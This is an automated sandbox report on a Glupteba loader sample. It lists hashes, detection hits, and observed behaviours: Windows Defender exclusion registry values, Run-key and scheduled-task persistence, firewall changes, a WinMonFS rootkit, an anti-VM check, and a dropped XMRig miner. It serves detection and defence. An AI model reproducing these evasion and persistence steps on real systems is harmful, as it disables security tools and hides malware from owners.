glupteba | 31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7

Analysis

max time kernel
289s
max time network
300s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
18-04-2024 22:30

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
Size

4.2MB
MD5

3c04c7720836c2c69eddef5125e8fc9d
SHA1

831acf015a62fe92d480235b75f2ea0acf471185
SHA256

31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7
SHA512

7488983739acd9f38a6a3c2717b0203ebfac33e355e6ee0b864313cbd7af2e909864534bda9a26e5ecccdffcb7f2c45e03030ca7947646a0f74fe56484d7c99b
SSDEEP

98304:F1k/WfSnvYITkOuylzYhV/sfZ0qQCPoWg3E/CPQ11g:FsW6Y8HuyqUfZtQCg3Dqg

Score

10^/10

glupteba xmrig discovery dropper evasion loader miner persistence rootkit trojan upx

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 37 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4512-2-0x0000000005150000-0x0000000005A3B000-memory.dmp	family_glupteba
behavioral2/memory/4512-3-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/4512-298-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/4512-300-0x0000000005150000-0x0000000005A3B000-memory.dmp	family_glupteba
behavioral2/memory/2492-304-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/2492-572-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/2492-1033-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/1564-1037-0x0000000005510000-0x0000000005DFB000-memory.dmp	family_glupteba
behavioral2/memory/1564-1040-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/1564-1317-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/1564-1775-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/1564-1784-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/1564-1787-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/1564-1789-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/1564-1791-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/1564-1793-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/1564-1795-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/1564-1797-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/1564-1799-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/1564-1801-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/1564-1803-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/1564-1805-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/1564-1807-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/1564-1809-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/1564-1811-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/1564-1813-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/1564-1815-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/1564-1817-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/1564-1819-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/1564-1821-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/1564-1823-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/1564-1825-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/1564-1827-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/1564-2077-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/1564-2214-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/3380-2222-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba
behavioral2/memory/1564-2311-0x0000000000400000-0x0000000003017000-memory.dmp	family_glupteba

Windows security bypass 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe = "0"	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe

XMRig Miner payload 2 IoCs

miner

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe	family_xmrig
C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Modifies Windows Firewall 2 TTPs 1 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exe

pid process

3068 netsh.exe
Executes dropped EXE 7 IoCs

Processes:

csrss.exeinjector.exewindefender.exewindefender.exedcb505dc2b9d8aac05f4ca0727f5eadb.exewup.execsrss.exe

pid process

1564 csrss.exe
2932 injector.exe
3980 windefender.exe
1952 windefender.exe
1744 dcb505dc2b9d8aac05f4ca0727f5eadb.exe
652 wup.exe
3380 csrss.exe

pid	process
3068	netsh.exe

pid	process
1564	csrss.exe
2932	injector.exe
3980	windefender.exe
1952	windefender.exe
1744	dcb505dc2b9d8aac05f4ca0727f5eadb.exe
652	wup.exe
3380	csrss.exe

UPX packed file 7 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Windows\windefender.exe	upx
behavioral2/memory/3980-1782-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/1952-1790-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe	upx
behavioral2/memory/1744-2099-0x0000000000400000-0x00000000008E1000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe	upx
C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe	upx

Windows security modification 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe = "0"	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

csrss.exe31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	csrss.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
rootkit evasion

Processes:

csrss.exe

description ioc process

File opened for modification \??\WinMonFS csrss.exe

description	ioc	process
File opened for modification	\??\WinMonFS	csrss.exe

Drops file in System32 directory 9 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery
T1082

Processes:

31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe

description ioc process

File opened (read-only) \??\VBoxMiniRdrDN 31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe

description	ioc	process
File opened (read-only)	\??\VBoxMiniRdrDN	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe

Drops file in Windows directory 4 IoCs

Processes:

31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.execsrss.exe

description	ioc	process
File created	C:\Windows\rss\csrss.exe	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
File created	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\rss	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe

Launches sc.exe 1 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exe

pid process

2936 sc.exe
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exe

pid process

4040 schtasks.exe
836 schtasks.exe

pid	process
2936	sc.exe

pid	process
4040	schtasks.exe
836	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exewindefender.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.execsrss.exepowershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time"	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-692 = "Tasmania Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time"	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time"	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time"	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-151 = "Central America Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time"	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time"	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2322 = "Sakhalin Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1931 = "Russia TZ 11 Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2571 = "Turks and Caicos Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2391 = "Aleutian Daylight Time"	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time"	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2321 = "Sakhalin Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2791 = "Novosibirsk Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2612 = "Bougainville Standard Time"	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2631 = "Norfolk Daylight Time"	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-911 = "Mauritius Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-302 = "Romance Standard Time"	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2512 = "Lord Howe Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time"	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time"	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-961 = "Paraguay Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time"	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2431 = "Cuba Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-691 = "Tasmania Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1862 = "Russia TZ 6 Standard Time"	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-31 = "Mid-Atlantic Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-252 = "Dateline Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2492 = "Aus Central W. Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-451 = "Caucasus Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-82 = "Atlantic Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-171 = "Central Daylight Time (Mexico)"	windefender.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-449 = "Azerbaijan Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-591 = "Malay Peninsula Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time"	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exe31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exepowershell.exe31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeinjector.execsrss.exe

pid	process
428	powershell.exe
428	powershell.exe
428	powershell.exe
4512	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
4512	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
4972	powershell.exe
4972	powershell.exe
4972	powershell.exe
2492	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
2492	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
2492	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
2492	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
2492	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
2492	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
2492	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
2492	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
2492	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
2492	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
4576	powershell.exe
4576	powershell.exe
4576	powershell.exe
1076	powershell.exe
1076	powershell.exe
1076	powershell.exe
4660	powershell.exe
4660	powershell.exe
4660	powershell.exe
1596	powershell.exe
1596	powershell.exe
1596	powershell.exe
1152	powershell.exe
1152	powershell.exe
1152	powershell.exe
2932	injector.exe
2932	injector.exe
2932	injector.exe
2932	injector.exe
2932	injector.exe
2932	injector.exe
1564	csrss.exe
1564	csrss.exe
2932	injector.exe
2932	injector.exe
2932	injector.exe
2932	injector.exe
2932	injector.exe
2932	injector.exe
1564	csrss.exe
1564	csrss.exe
2932	injector.exe
2932	injector.exe
2932	injector.exe
2932	injector.exe
1564	csrss.exe
1564	csrss.exe
2932	injector.exe
2932	injector.exe
2932	injector.exe
2932	injector.exe
2932	injector.exe
2932	injector.exe
2932	injector.exe
2932	injector.exe
2932	injector.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

Processes:

powershell.exe31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.execsrss.exesc.exepowershell.exepowershell.exewup.exe

description	pid	process
Token: SeDebugPrivilege	428	powershell.exe
Token: SeDebugPrivilege	4512	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
Token: SeImpersonatePrivilege	4512	31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe
Token: SeDebugPrivilege	4972	powershell.exe
Token: SeDebugPrivilege	4576	powershell.exe
Token: SeDebugPrivilege	1076	powershell.exe
Token: SeDebugPrivilege	4660	powershell.exe
Token: SeDebugPrivilege	1596	powershell.exe
Token: SeDebugPrivilege	1152	powershell.exe
Token: SeSystemEnvironmentPrivilege	1564	csrss.exe
Token: SeSecurityPrivilege	2936	sc.exe
Token: SeSecurityPrivilege	2936	sc.exe
Token: SeDebugPrivilege	2792	powershell.exe
Token: SeDebugPrivilege	3820	powershell.exe
Token: SeLockMemoryPrivilege	652	wup.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

wup.exe

pid process

652 wup.exe

pid	process
652	wup.exe

Suspicious use of WriteProcessMemory 53 IoCs

Processes:

31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.exe31d6a872650791320206c6612789e9c55df0869810c3fc6d707ec39c1a361cc7.execmd.execsrss.exewindefender.execmd.exedcb505dc2b9d8aac05f4ca0727f5eadb.execsrss.exe

description	pid	process	target process
